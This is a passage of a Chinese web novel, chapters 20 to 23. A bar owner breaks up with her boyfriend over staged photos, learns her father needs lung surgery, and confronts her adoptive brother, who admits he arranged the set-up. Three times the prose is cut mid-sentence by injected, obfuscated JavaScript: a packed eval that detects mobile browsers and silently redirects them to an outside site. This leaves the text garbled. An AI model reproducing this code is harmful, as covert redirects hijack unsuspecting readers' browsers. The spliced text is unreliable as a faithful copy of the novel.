林栖没有在港城久留,跑完马拉松当天就走了。 林鸣修送她到机场,提起柚安,免不了要替她解释:“柚安不是生气没来,只是——小孩子那种,恼羞成怒,不敢见你。” “其实她胆子小得很。” 林栖闻言笑出声。 “怎么了?” “看到柚安有位这么宠她的大哥,感觉我之前的担心多余了。走啦,希望下次相聚,可以一起坐下来吃顿饭。” 林栖挥了挥手,推着行李步入机场大厅。 林鸣修很久都不敢去回味这句话。 半晌,他拨通电话跟柚安知会了一声,说林栖走了。 电话那头,柚安只是意兴阑珊说了句“哦”。 第二天,林鸣修赴往深圳。 往后的日子风平浪静,柚安跟黎燃的关系,并没有因为这一次小风波而有所改变,她甚至更加容光焕发。 大抵因为林鸣修不在,所以神清气爽。 酒吧的运营趋于稳定,流水比预期要好。 柚安的经营极具个人风格,她挑选自己欣赏的小众歌手和乐队,每周都有表演,久而久之,酒吧成了音乐爱好者的聚集地,一大批志同道合的人,来这里不止寻个消遣,也当做归宿。 午后,她来到店里。 这个时间还没有正式开业,跟往常一样,先转一圈,检查清洁情况,以及一些装饰陈列,再去吧台听领班汇报前一天的营业状况。 领班调了杯新品,金酒打底,杯口装饰有应季的荷花花瓣,金粉铺就,前调口感轻薄,清甜,中调有茉莉花的苦香,后调回甘。听其介绍完详细步骤和材料后,柚安点头,“就叫夕照荷塘吧。” 最后,转去后场办公室听阿谨汇报账目。 这个部分最头疼,还有有阿谨悉心解惑。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15816184|174562||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 后者汇报完,递给柚安一个信封,说是早晨,一位妙龄女郎登门,让交给她的。 听他一番形容,柚安确定不是自己认识的人,她怀着好奇撕开信封,几张照片掉落出来,柚安目光划过,表情一刹那凝固。 阿谨下意识弯腰去拾,看到内容的瞬间,动作也僵住,急忙找了个借口,红着脸退了出去。 后场办公室滞焖奥热,冷气坏了,老旧的风扇吱吱呀呀,在那几张香艳的照片上投下转动的阴影,照片上,黎燃的脸随之忽暗忽明。 柚安楞了数秒,随后将散落的照片一把捞起,倒扣在桌上。 想了想,随手抽出一张,拍了个照发给黎燃。 照片中,他的面部表情不甚清晰,骑在他身上的女人后背裸着,腰际纹了一圈法文,身姿无比曼妙。 半小时后,黎燃急吼吼地感到,冲进办公室就跟柚安解释:“我昨天在派对上喝醉了,醒来就发现……” 办公室一片凌乱,桌上的东西已被悉数扫到地上,那只柚安爱用的黑瓷咖啡杯,也未能幸免,碎成了渣。 柚安眼圈红着,情绪翻涌,“喝醉了就能做出这种事吗?野狗才会乱发情。” “对不起,我根本什么都不记得,”黎燃头痛欲裂,“那个女的我都不认识!” “分手吧。”柚安双手撑在桌上,泪水滚落。 说出这三个字,忽然觉得很讽刺。算在一起过吗?他们就像玩家家酒的小孩子,互相喜欢就拿根狗尾巴草编成戒指,不喜欢了就再说。以至于“分手”这种沉重的字眼,听上去都不太有分量。 黎燃满脸胀红,宿醉的余威还在折磨着他,剧痛的脑神经令他无从思考。 “再给我一次机会吧。”他扶着额说,像证据确凿的罪人,放弃辩护,祈求轻判。 然而此刻任何话语都淡而无味,无法触达听者心底。 香甜鲜美的水果,腐坏只在眨眼之间。柚安想不通,是变数来得太快,还是自己的心变得太快,总之,对新恋情的向往,就这样烂掉了。 “你走吧,我暂时不想看见你。” 也许是冰冷的语气触发了男人的自尊,黎燃愤而反击,质问她:“别说得好像你受了天大的委屈一样,你就一点错没有吗?” “你还气上了?”柚安不可理喻地看着他,“难不成跟别人睡的人是我?你真好笑!” 她伶牙俐齿,吵架没输过。 黎燃愈加歇斯底里,抱着鱼死网破的心理,将两人之间早就存在的细小裂缝,一脚跺成科罗拉多大峡谷。 “我不能生气吗?林柚安,你真的爱我吗?你没出轨,但你认真过吗?那次我想吻你的时候,你说过什么!敢再说一次吗!” 柚安一凛,浑身血液滚烫,一句话也说不出来。 几句话,原告与被告完全调转,黎燃完完全全抓住了主控权,愤怒的控诉中携了三分讥诮: “我得有多喜欢你,才能一直说服自己忘记这句话?一再给你时间跟机会?林柚安,这段关系里,你比我随便多了!” 结案陈词一出,双方都没了话语,柚安目光收敛,全无还手的余地。 此刻,办公室门口,从深圳风尘仆仆赶回的男人已静静站立了许久。 黎燃气冲冲破门而出,与他撞了个正着,惊诧一瞬,什么也说,大步踏出店外。 柚安跟着出来,一双眼睛像揉碎了的鸢尾花瓣。 “抱歉,我来得不是时候,”没有一句安慰的话,林鸣修看她一眼,淡声说道,“爸让我们回家一趟,现在。” 21. 第 21 章 柚安跟在林鸣修身后上了他的车。 什么鬼样子都刚好让他撞见,简直就是一部行走的“林柚安丢脸记录仪”。 但是现在,再丢脸的事都要靠边站。 “爸的检查结果不好吗?”她一边拉过安全带一边问林鸣修。 林鹤堂昨天复查了胸部CT,大半个月没消息的林鸣修突然回来,还亲自驾车来接,这一切令她隐隐感觉到不妙。 “结果有点不好。”林鸣修启动引擎。 “……多不好?” “双肺多发磨玻璃结节,最大的是右肺上叶一处,直径22毫米,爸打算尽快手术,给它切了。” 林柚安愕然,这一天的种种,让她感觉像是掉进了某个愚人节陷阱,太突然,太有戏剧化。 自从林鹤堂上次体检出肺部结节,她就在各大互联网平台,专业刊物,以及医用问诊APP里打转,练得连胸部CT都会看个一二。 几年前的一场恶役,不少人经历肺部感染,免疫系统在大战后留下疮痍,使得后来很多人体检出肺部结节。 再加上林鹤堂在那次体检后,立刻委托基因公司对其血液进行肿瘤筛查分析,结果肿瘤概率不大。 她明明已经安下心了。 车内寂静,两人一时无话。 林柚安的大脑一片空白,她从化妆包里拿出卸妆棉,快速而粗暴地擦去花掉的妆容。 “是陈年性疤痕吧,”她木着脸说,“没事的,这种切除结节的手术很常见,具体什么性质,还是得术中去标记物检测,才能得出结果。” 各种资料、案例充塞在脑海里,她勉力捡出可堪自我安慰的,可手不听使唤,几乎颤抖到握不住棉片。 身体的反应最为诚实,冷汗直往外冒,忽然间小腹一阵剧痛,如被挖掘机碾过,她忍不住闷哼了声。 林鸣修瞥过来,只见她面色全无,病态地苍白。 “肚子疼?还有哪里不舒服?”他轻打方向盘,车停稳在路边,想伸手探她额头,终是忍住。 林柚安无力地躺在椅背上,“生理期……一阵一阵的,过会儿就好了。” 林鸣修往窗外望了望,下车走向路边一家便利店。 几分钟后,握着一个大号的咖啡纸杯大步回来,另一只手提了个牛皮纸袋。 上车后,柚安才发现那是一杯白开水。 只见林鸣修从袋里拿出包红糖,将包装纸拆开,红糖放入热水中用搅拌匙搅拌,每一个步骤都迅速而严谨。 那种一次性纸杯被他骨节分明的修长手指握着,俨然化学家手里的珍贵试剂。 最后他用手背试了试温度,将杯递给柚安。 柚安失笑,“红糖水没用,最多只起个安慰作用。” 说着便去找化妆包里的止痛药。 林鸣修问:“吃第几次了?” “两次,怎么了?”柚安不假思索。 在日本药妆店买的白色小颗粒,吃下去立竿见影,但是药效也出奇得短,就跟她和黎燃的“家家酒”一样。 “止痛药都有副作用,不是你这么个吃法。”林鸣修声音稍显严厉,朝她平伸出手,掌心朝上。 那动作有些不容置喙的意思,令柚安莫名发怵。 她睨着他,对峙数秒,终是将药盒拍在他手上,“啪”的一声,顺势捞过红糖水,喝了一口。 温度比常喝的热水还要更烫一些,但在可接受范围内,对于下腹已经凝成冰窖的柚安来说,刚刚好,她面色稍霁,仰头喝了第二口。 林鸣修将止痛药放在侧边储物栏,之后再次伸手。 “烟。” 柚安:? “家里以后都不能出现烟。” “我都是偷偷躲在天台……” “那也不行。”语气毫无商榷余地,罕见地强势。 柚安摸出烟盒,与打火机一并拍在他手上。 今天她有点怂,可能是接二连三的打击与痛经,让她攻击力全无。 林鸣修收起烟,从塑料袋里拿出一片暖宝宝递给柚安,牌子是小林制药。 柚安刚黑下脸,这会儿又觉得好笑,探头看那纸袋,“你还买了些什么?卫生巾有没有?” “需要吗?”林鸣修很认真地问。 经过货架的时候,确实也犹豫过,但料想她应该是不需要的。 先挑话的林柚安反倒红了脸。 “不用。”她眉间皱成川字。 暖宝宝拿在手里摇晃均匀,撩起外衣准备贴的时候,林鸣修背过了脸。 温度很快上来,腹部舒暖,犹如温泉流经冻结的河川,柚安长吁一口气,调低靠背,半眯起眼。 林鸣修目光掠过她均匀起伏的小腹,启动引擎,汇入车流。 天气预报说今晚有暴雨,此刻尚未落雨,天气却压抑地不像话,头顶一块蓄满了水的灰黑色海绵,沉甸甸向下压。 离家越近越是紧张,林柚安问:“是爸让你带我回去的吗?他不打算瞒着我了?” “手术这种事,一定会让你知道。” “后面的一切,也都会让我知道吗?”柚安心跳再度加快。 林鸣修默了默,“我知道的,你都会知道,我保证。” 两人赶在暴雨砸下前回到了夏山郡,柚安下车便往屋里跑,管家举伞追在后面,企图为她遮住零星几点前奏。 大门打开的同时,她大喊了一声“爸”,一抬眼,喊声戛然断在半路,只见前厅满满是人,大伯一家整整齐齐都在—— 一对夫妻与三个儿子,带着堆成山的昂贵慰问品。 林柚安浑身的血液僵住,熟悉的气息逼近,料想是林鸣修站在身后。 目光飞快逡巡一周,千万句问题堵在喉间,一句千回百转的“爸”结束,语气已由担忧转为轻轻的抱怨。 迎向林鹤堂严肃的目光,她改问道:“爸——这么急叫我回来什么事啊?我还准备晚上的营业呢。” 一屋子人仿佛被按了暂停键,凝滞的空气中,后方一道若有似无的气息传来,是林鸣修轻轻笑了一声。 大伯母陈静淑最先反应过来,她大步走来一把抱住柚安,“哎哟,你怎么还不知道怎么回事啊?” 柚安一脸懵懂。 尹晴与管家交代两句,招呼客人去餐厅用膳。 柚安同林鸣修与大伯一家人依次寒暄一番,准时入席。 “柚安你跟我坐,”陈静淑捉着柚安的手拍了拍,面色凝重,“你爸爸生病了。” “啊?”柚安慌张起来,看了看尹晴。 尹晴摇摇头,“不要一惊一乍,我们饭桌上说。” 柚安点点头,又看向林鹤堂,实打实的焦灼不安再次升了上来,不免红了眼眶,“爸——” 林鹤堂皱着眉头,“肺上长了个结节,割了就没事了。” 话说着,众人已来到餐厅,三个堂哥与林鸣修似乎很谈得来,自然而然坐到一起,柚安跟陈静淑坐,另一边是三个堂哥,大伯坐在陈静淑另一侧,再旁边是林鹤堂与尹晴。 柚安着急地询问尹晴:“那不是要开胸?怎么会这样?” 尹晴不紧不慢地:“微创手术,胸胁下开三个小孔,是很常见的手术。” 大堂哥林景琛为林鹤堂盛了一碗汤,“微创手术也得谨慎,要不要再跟专家商量商量?这个大小还是观察为主,可以不用立即切。” “多大?”柚安看向林鹤堂。 “五毫米。”林鹤堂说。 柚安用手指比划了下,倒吸一口凉气。 林鹤堂转向林景琛,“趁着它小,切了拉到,免得夜长梦多。” “那手术安排在哪家医院?”大伯问,“我给你介绍一个专家?” “还没定下来。”林鹤堂仿佛觉得好笑,“这么点小事,值得你们一个个大惊小怪的吗?” “哎哟,那怎么能是小事?”陈静淑说着,搛了一只鲍鱼到柚安碗里,“柚安要多吃点,看你瘦的,你爸手术,你得多照料呢,身体垮了怎么办?” 林景琛安慰她:“到时候有什么需要尽管开口。” 柚安夹在他一家人中间,见他们左右夹攻,冲自己而来,瞬间瘪了嘴,眼里含了一大包泪,“不是说小手术吗?伯母你吓我干嘛。” 林鹤堂觑她一眼,那意思好像在说,瞧你这上不了台面的样子。 柚安好似没看见,一双水汪汪的眼睛在众人脸上打转,叫人再问不出话来。 转到林鸣修脸上时,莫名觉得他一如既往平静无波的眼睛,隐隐带笑——藏在由上至下的平静注视中,很难察觉的,温柔的笑。 淡淡的戏谑,又带有抚恤。 大抵是因为,他在路上已巨细无遗地告诉过她手术安排,包括日期、医院、主刀医生…… 以及他见过她真正慌张的样子—— 她绝不会哭,反而会装作若无其事,满不在乎。 这一切使他成为了柚安饭桌上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15823706|174562||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 唯一的共谋。 晚饭吃完,两家人又寒暄一番,大伯一家便告辞了,陈静淑说要留下来陪尹晴,两人便去花房聊天。 林鸣修很快被林鹤堂叫到书房,柚安一直没有单独跟父亲说话的机会,母亲又被陈静淑霸占着,一肚子担心没有出口,在血液里乱串,索性一个人跑到泳池边看雨。 大雨如期而至,她坐在屋檐下,看雨势越来越强,如注般砸向泳池,水花四溅。 黎燃似乎完全冷静下来了,发来信息道歉,后悔意味浓厚,对分手这件事,却没有挽回。 最后他问,能不能不要给他盖上酒后乱性罪章?他以前从未做过这种事。 柚安回:当然不会。 被后来的事情一搅,现在竟不那么生气了。 但不免地,还是会想起那句话。 黎燃问她记不记得。 她当然记得。 飞鹅山的日出美得不似人间,黎燃将要吻她时,她借着三分醉意说:“你的嘴巴不像他。” 很混蛋的一句话,黎燃问不像谁,柚安混蛋地回答:“以前喜欢过的一个人,他不喜欢我。” 黎燃松开她,手枕着后脑勺向后躺倒,“其他地方像吗?” 柚安伸手,虚遮住他的嘴巴。 “有点,我分不清。” “你倒是坦荡。” “丑话要先说。” 柚安笑着低头看他,金光洒在他英俊的脸上,造物主偏爱的模样,没有人会不喜欢。 黎燃目光迎向她:“完蛋,我还是喜欢你,你随意。” 柚安看着他,一个吻落在他额头上,他们就这样开始了。 天作之合的恋人每时每刻腻在幸福里,阳光洒落在他们身上,色彩都比其他人要斑斓。 可是那句话,成了黎燃每次想要更近一步时的紧箍咒。 如今,也成了他的免罪金牌。 思绪淹没在暴烈的雨声中,像水草一般彼此纠结。 随着陈静淑的一句“柚安”,迅速回笼。 陈静淑是香奈儿的忠实爱好者,穿的便是这一季的新品,粉彩薄纱长裙搭配珍珠项链,婷婷袅袅。 她比大伯小二十多岁,模特出身,极重保养,是柚安的审美启蒙。 小时候尹晴经常闷在屋里,大伯一家成了常客,柚安跟陈静淑倾诉过的心事,比跟亲生母亲还多。 林鸣修正式住进来后,这一家来得就少了,其中矛盾柚安无暇探究,没过多久,她自己也走了。 这次回来,发现两家的关系有了微妙的变化—— 淡然,也许变化的,也许只是自己的心境跟认知而已。 少时,她没少在陈静淑跟前骂林鸣修,在这件事上,陈静淑总说她是柚安的盟友,不管林鹤堂与尹晴被蒙骗成什么样,她都会坚定地站在柚安一边,帮她揭出坏人的狐狸尾巴。 如今在饭局上装糊涂骗她,柚安倒是没有觉得叛变了盟友,倒向林鸣修一边。不管其他人瞒着父亲的病情,是出于什么样的考量,她只是单纯地,不想掺和进这件事而已。 很多事都是会变的,就像三位堂哥昔日看林鸣修的眼神还不如看一条狗,如今摇着尾巴的却是他们。 倒是林鸣修似乎没怎么变,言谈举止只在礼数之内,始终有种置身事外的淡漠与审视。 陈静淑拉着柚安聊了一会儿林鹤堂的病情,她始终扮作懵懂无知。 又像儿时那样,痛陈她不在家的这几年,林鸣修是如何一步一步骗取林鹤堂的信任,在四海翻云覆雨的。 柚安全程以语气词回应,偶尔骂两句,雷声大雨点小。 刚才吃饭的时候就在想,这些年在外漂泊,无头苍蝇一样在娱乐圈里乱撞,也非白白消耗生命,全无成长。 至少如今,同样的话里,她能听出诱导,能听出怂恿,情绪也不再容易被牵着走。 见要无功而返,陈静淑调转话题问道:“你最近跟黎燃是不是闹矛盾了?” 纵使满身的防备,也架不住连翻的疲劳攻击,柚安实在很累了,干脆说:“他呀,没在一起了。” “我就知道!”陈静淑紧了紧柚安的手。 那模样,像是知道什么天大的秘密。 也是,今天才发生的事,都还没来得及跟尹晴说,她却知道了,难道是黑了店里的监控? 柚安不由得惊奇。 陈静淑拿出手机翻了一阵,将屏幕转向柚安,“给你看样东西。” 22. 第 22 章 暴雨倾盆,港城挂起三号风球,风末日似地刮。 风雨的呼啸声,被书房的落地窗隔绝在外,又隔了层密不透光的窗帘,变成白噪音似地闷响。 林鸣修倾身坐在黑色皮革沙发里,面前的茶几上摆着一局围棋,黑白两子互困胶着,犬牙交错,如沙场鏖战。 左手对弈右手,一边拼杀互搏,一边梳理思路,这是长久以来的习惯。 遇到棘手的事时,棋局可以僵持一整晚。 就比如今天这样。 三小时前,他被叫到林鹤堂的书房“聊天”。 抢在正事以前,林鸣修率先先开口,告诉林鹤堂,在来的路上,已经将实情全部告知柚安。 林鹤堂始终不敢相信,柚安在饭桌上的懵懂无知是演出来的。 “那丫头哪里像是有城府的人?”他哭笑不得。 林鸣修笑了笑,“再多两秒钟,就要开始瞎演了。” 林鹤堂苦笑摇头,涌起无限感怀。 她内心必定饱受煎熬。 接着,他们谈起正事,林鹤堂对公司的安排早已明明白白,此刻一一跟林鸣修交代,大有交代后事的意思。 谈完,林鸣修问需不需要叫柚安过来。 对于柚安,早在家族信托基金里安排地明明白白,留给她的保障比任何人都要多。 只是要面对面跟女儿交代一二,堪比要了老父亲的命。 林鹤堂想了又想,最终作罢。 “还不到那个时候。” 他坐在大理石桌前,与身后的油画肖相一样挺正威严,只是声音听上去些许苍老,说这句话时尤是,像喉咙深处发出的嗡响。 林鸣修微微颔首,转身离去。 两步之后,转过身来,“放心吧,柚安她比您想象的要聪明,强大得多。” 林鹤堂意外地一掀眼,“……嗯。” 回到自己的书房,大脑已经被数不尽的黑白子吞没。 遂拿出棋盘,开始排兵布阵,试图将这一切一一理清。 林鹤堂最大的决定是,如术后身体情况恶化,无法再担任决策工作,命林鸣修暂代CEO一职,如他去世,林鸣修继承他在四海的全部股份和席位,直任四海寰宇掌门人。 各种文书公证皆已做好,这些年,也培养了一批忠心跟随林鸣修的高管。此举必遭其他阵营反对,但狂风暴雨之下,他不至于孤立无援。 如今,最大的威胁来自于大伯林鹏海一家。 林鹏海现在虽在公司已无职务,但拥有不少股份,是董事会成员之一。 大儿子林景琛担任公司CFO,也是董事会成员。 董事会七席,林鹤堂占有一席,他们一家占有两席,其他四人皆是常居幕后的大佬,不直接参与公司事务,但是倘若林鹏海拉拢他们发起不信任投票,就连现任CEO都可以罢免,更别提林鸣修这个暂代者。 林鹏海其他两个儿子虽不在董事会,但也各自拥有3%的股份,与林鸣修相当。 二儿子林景昀负责项目开发中心。早些年,林鸣修公安大学还没毕业就空降到各个管培项目里,在林景昀和林景琛的手下都干过,吃过的暗亏,受过的潜在霸凌不计其数。 三儿子林景烁如今也进了公司,在金融投资中心任职,与林景昀所在的部门,都是公司的核心板块。 林鹤堂只有林柚安一个女儿,这点来说着实吃亏。 好在林柚安生来便拥有8%的股份。 所以她这一颗子,几方势力都虎视眈眈。 内部矛盾尚且如此,外部的风险也不容小觑。 林鹏海既已知道林鹤堂手术的事,消息就瞒不住了。今天是亲朋上门,明天恐怕就是媒体的围堵。如何应对媒体,平息舆论?如何保住股价?他这个暂代CEO如何取得信任?又如何对外做公关,安抚股民? 还有深圳分公司那边,绿色能源社区计划,已经在稳步进行中,如果他猝然撤回,不再主持大局,会不会造成那边员工和投资者的不信任?倘若项目中断,比造成股价下跌,董事会不满。 ——当然,这一切只是为不幸事件做不得已的打算。 但不幸的几率有多大? 最最不幸地,林鹤堂病情急剧恶化,甚至撒手人寰,这样的概率又有多大? 那个时候,柚安该怎么办? 无数种预案在棋盘上此消彼长,林鸣修紧绷着神经,犹如高速电路,超负荷运转。在这个问题浮现的刹那,一切骤然停顿,断电一般,世界陷入一片暗黑。 一切问题,他尚且可抗。 唯独这一个。 涉及柚安,他便乱了方寸。 视角从波谲云诡的商场,回到这个空荡的家里,她孤独的,小小的身影上,而他手里半个预案也没有,只有满心不舍。 “砰——”的一声,门被大力推开,他额间尚有冷汗,被推门而入的风吹出一身凉意。 抬眸,只见柚安冲到面前,一掌撑在棋盘上,将局面彻底毁坏,一手将手机屏幕怼到他面前,几乎歇斯底里地问:“这个怎么解释?” 照片上是一男一女在谈着什么,女人正是黎燃酒后乱性的女主角,而男人是林鸣修的手下之一,名叫Kim,他常跟随林鸣修左右,就连柚安也认得。 背景在一个会所包房,拍摄角度是从某一个缝隙偷拍,叫人不由得猜测是侍者偷拍,或是房间里的隐秘摄像头。 连他的一个助手都被跟踪至此,难怪林鹤堂的病情,在结果出来当天就被窥见风声。 不知道他们一家身边,还有多少双眼睛。 “伯母给你看的?”林鸣修慢条斯理地放下食指与中指间的黑棋,眸色平静而晦暗。 柚安不理会,直截了当地问:“你找的人,你给黎燃下的套?” 如果眼神会杀人,林鸣修早就尸骨无存了。 “是。”林鸣修直视她,眸色微变,泛着冷质的光。 柚安以为他会狡辩,连推翻他狡辩的话都想好了—— 哪有女人会在一夜情时拍下照片,第二天亲自送上门的?她意不在黎燃,就是存心想拆散他们。 可是,他就这么承认了,还用一副“你能拿我怎么样”的神情看着她,看得她怒不可遏,浑身都在发抖。 “你有病呀!黎燃拿你当兄弟,你这么对他?我又是怎么挡你的路了,这一点点的幸福,都要被毁掉?” 对于林鸣修此番的种种缘由,陈静淑已经在泳池 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15838620|174562||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 边给她“分析”地明明白白—— 无非是心理变态,对她羡慕嫉妒,所以要夺走她拥有的一切,还要毁掉剩下的。 还有一种,便是贼心不死,要得到的是她的人。 伴随着凄风冷雨声,不论是哪一种猜测,都让林柚安心惊肉跳。 家里风雨飘摇,不在这个时候该闹,可是他都做了什么?! 柚安血冲到脑门,抬手一巴掌,林鸣修脸上立时出现五指掌印。 她气不过还想打,这次被他捉住手腕,叮呤当啷的金属手链随惯性一扫,在他眼下留下一条细小血痕。 他慢慢站起来,高大的身影逐渐将她侵没。 因为手腕被捉住,她不得已向后退,心跳如擂鼓。 从沙发被逼到门口,没有一丝挣脱的余地,双眼忍不住泛酸。 林鸣修这个时候伸出另一只手,柚安感觉快要窒息。 然而手臂只是越过她的肩头,关上了身后,被她推开一半的门。 锁舌闭合的一瞬间,柚安后背整个贴住了门板,被他攥红的手腕则被举过头顶,抵在门上,冰凉的触感袭来,灯光被身前的高大身影挡得严实。 初来投奔时,两人都正值发育,十六岁的林鸣修身高猛长,就算站在一众二三十岁操练勤恳的保镖团队里,也实属优越。 但他总是跟柚安保持一段距离,因此柚安虽知道他比自己高,但从未如此直观而彻底地感受到,什么叫身高体型差。 他的手轻易就将自己手腕整个圈住,再靠近一点点,身体也能将自己整个拢住。 她不由得,生理性地感到害怕。 “为什么?痴线咯,变态咯,难道我在你心里,是什么好人吗?”他皱着眉,一字一句地哑声说道。 就这么明晃晃地承认,无异于将他隐藏这么多年的狼子野心宣之于口,因为如今林鹤堂病重,是他收割的时候了吗? “顾鸣修!”柚安遍体生寒。 来自手腕的疼痛陡然加深,随着她的挣扎,钳制愈见加重。 林鸣修冷而低沉地说: “长幼有序,从今以后,你该叫我一声大哥。” 她感受到那双大手的力量,以及灼热地,几乎要烧起来的体温。 二十多年的生命中,头一次感到如此无能为力。 这样大的威压,竟是来自于那个一直叫她“大小姐”,当司机又当保镖的流浪狗。 泪水在眼眶中蓄满,再用力也忍不住了,终于不争气地落下来。 林鸣修见这情形,眸色微动,如同冰冷无波的潭面被风吹皱,然而刹那便过去了。 也许是因为距离太近,这几不可察的一刹居然被柚安捕捉到,成为加速她崩溃的催化剂。 复杂的情绪从五脏六腑漫上来。 不知道为何如此羞耻。 “你别看我!”她吼道,洪水般的眼泪涌出来。 腕上的束缚骤然松脱,林鸣修真的转过身去,往沙发处走。 “没出息啊,林柚安。”他轻笑着说。 就在弯腰挥掉沙发上散落的棋子,打算坐下时,柚安举着实木的围棋棋盘,当头砸了下来。 “大哥——” 咒骂的语气。 23. 第 23 章 第二天天不亮,林鹤堂和尹晴就离开了夏山郡。 没有人知道他们是什么时候走的。 神通广大的媒体挖出来,林鹤堂的私人飞机降落在了波士顿。 那里是麻省总医院坐落的地方,也是哈佛医学院的附属医院集中地,拥有世界顶级的医疗资源。 只是不知道林鹤堂具体去了哪一家机构。 要挖出他的病情,这一点是关键。 陈静淑一觉醒来发现人已经走了,急得焦头烂额。 主人走后,整个夏山郡静得连穿堂而过的风声都那么清晰,有种风雨欲来的既视感。 管家说少爷和小姐还在睡觉,陈静淑虽又急又气,却不敢贸然打扰,一个人在大厅来回踱步,过了很久,终于等到林鸣修闲庭信步地下楼。 她迫不及待地问:“鹤堂跟阿晴怎么走得这样急?是鹤堂出了什么急症吗?” 林鸣修命管家准备早餐,而后礼貌地回答她:“爸不想应付媒体,提早走了。” “那他去的哪家医院?昨天不是都还没定下来吗?” 沉默片刻,林鸣修说:“暂时不可以透露,抱歉。” “连我也不可以吗!” “很抱歉,伯母吃完早饭再走?” 他微微欠身,礼数周全,早餐布好,仍笔直地站在桌边,等待陈静淑先入座。 这样毕恭毕敬,然而陈静淑却知道,从他嘴里,是什么也撬不出来的。 这时候柚安从电梯下来了,她穿着白色居家服,长裙,领口一圈荷叶边,没有化妆,只简单地梳了头发,刘海有些过长了,隐约遮住眼睛,露出的半张脸由显得苍白。 再瞧她手腕处,一圈浅浅的红痕尚未褪去。 而林鸣修的眼下和额角分别贴了张创口贴。 两人打过照面,谁都没有说话,柚安眼皮耷拉着,看林鸣修时,一股深深的怨念。 昨晚,自从书房的门关上后,陈静淑就再也听不到动静。 现在看来,两人的关系算是彻底崩了。她想象得到,以柚安的性格,闹了多大一场,此刻心中暗自窃喜。 “柚安啊,你看你这样子,是一晚上气得没睡好吧?”陈静淑上前挽住她的手,斜眼瞧了瞧林鸣修,“你爸妈去医院了知道吗?怎么没带上你呢?” 柚安坐到桌前,拿起圆盘两边的刀叉,无神地看着盘里的餐蛋治,“不知道。”连惊讶的模样都懒得装了。 “……你也不知道他们去哪家医院了?”陈静淑听得出她的应敷衍,只好将矛头再次对准林鸣修,“你怎么连柚安也不告诉?这是不是太过分了,亲生父亲做手术这么大的事,做女儿的都不能知道吗?” 柚安头也不抬。 林鸣修淡声道:“会有专机接她过去的,伯母不用担心。” 柚安头也不抬,低头将面包切分成小块。 已然跟林鸣修闹翻,却还是油盐不进,一道屏障将自己置身事外。陈静淑发现,她变得甚是不好摆弄了。 “我怎么能不担心呢?”陈静淑坐下来,揽住她肩膀,“我最担心的就是柚安了,不如……” 一句“不如我陪你去”还没说出口,柚安猛一转脸看向她。 不带任何情绪,乌青的眼圈,大而空洞。 “大伯母,我长大了,可以不用再担心我了。” “……” 陈静淑像吃了个苍蝇,堵得喉咙想呕。 正纠结还要不要硬着头皮留下来陪柚安,林鸣修出了声:“外面已经有媒体蹲守了,我派人送伯母出去吧,再晚,恐怕车就不好出去了。” “啊,这个……” 陈静淑进退不是,整个人僵在那里。 漫长而焦灼的两分钟过后,司机进来说,车已备好。 明明没有看到林鸣修吩咐谁,两分钟前的提议,她也还没有答应,此刻司机就已经站在跟前了。看来他已俨然成为夏山郡的主人,都不用发号施令,就有人为他的一言一行奔走。 想到这里,陈静淑不由得打了个激灵。 “伯母。”林鸣修做了个请的手势,挂上一副礼数周全,却叫她不敢再多看一眼的微笑。 陈静淑彻底失去了力气,她拍了拍柚安的背,叫她照顾好自己。 柚安将一小块被黄油煎香的面包送进嘴里,说:“好。” 陈静淑肚子叫唤了一声,窘迫得很,转身快步走了。 林鸣修亲自将伯母送进车里,而后回到餐桌,吃自己那份早餐。 主位空悬,他仍坐惯常的边位。 柚安问他:“什么时候走?” 林鸣修说:“你吃完饭,先换身衣服,我去应付一下记者,然后就可以走了。” 柚安没有多的话,一口将西柚汁喝完,搁下刀叉上了楼。 两人心照不宣,对昨晚发生的事只字不提。 于林柚安而言,人也打了,泼也撒了,还能怎么样?于林鸣修而言,比起现在面临的情况,那事根本不值一提。 柚安换了身便于出行的衣服——牛仔裤加基础款白T,头发往后束成马尾,又收拾了几件贴身衣物,丢进一个运动背包里。 最后,把歪在床头的那个断腿木偶小心放进背包。 掂了掂包,忽想到什么,转身来到窗前。 从三楼卧室的窗户看出去,正好可以看到黑压压的记者,以及被长枪短炮包围的林鸣修。 他穿着黑色的休闲便服,背影修长挺立,从容有度,有种年轻领袖的威仪。 不一会儿,大概是应付完了,微鞠一躬,转身进屋。 大门外,不少人车散去,还是有少许人逗留,甚至树上还爬了几个。从这个高度看过去,各色的隐蔽姿势一览无余,而摄像头统统对准了这边的窗户。 柚安唰地将窗帘拉上,转身拎起运动背包下楼。 步入一楼正厅时,林鸣修正好从大门进来,他脚步未停,一句“走吧”,朝后院走去。 几分钟后,夏山郡的顶层,一辆直升飞机缓缓停落,一男一女在两名保镖的保护下坐上直升机,尾桨卷起烟尘,不到片刻,机身已消失在云端。 